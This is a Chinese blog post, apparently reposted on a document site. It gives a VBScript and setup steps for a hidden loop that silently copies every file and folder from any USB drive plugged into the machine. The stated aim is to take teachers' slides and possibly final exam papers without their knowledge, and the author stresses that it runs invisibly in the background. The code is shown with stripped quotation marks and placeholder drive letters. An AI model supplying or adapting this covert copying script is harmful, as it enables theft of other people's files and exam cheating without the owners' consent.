U盘复制.docVIP

U盘插入自动复制，有效对付那些不肯给PPT的老师，还有一定几率拿到期末考试卷子···更新图文，不会用的可以来看看 2010-05-10 15:44 | (分类:默认分类) 代码优化了一下，把不是很重要的都删掉了，这次使用时看不出任何现象，同样复制U盘里的东西的时候不会出现进度条，完全后台运行，老师绝对看不出 ? 同 样的建立一个文本文档，WIN+R 里面打NOTEPAD ，或者自己新建一个都一样  ? 把下面的代码复制进去 ? set fso=createobject(scripting.filesystemobject)set ws=createobject(wscript.shell)on error resume nextdowscript.sleep 1000if fso.driveexists(U盘的盘符) thenfso.copyfile U盘的盘符加*号,要复制到的目录fso.copyfolder U盘的盘符加*号,要复制到的目录wscript.sleep 20000end ifloop ?  ? 注意标颜色的地方要自己改 蓝色的就是要复制到的目 录，比如要复制到C盘USB文件夹里，则用C:\USB\代替蓝色部分，注意大小写，同时必须确保USB这个文件 夹存在。 红色的是U盘的盘符，比如新插进去的U盘是E盘，则用e:\*代替红色部分，F盘就是f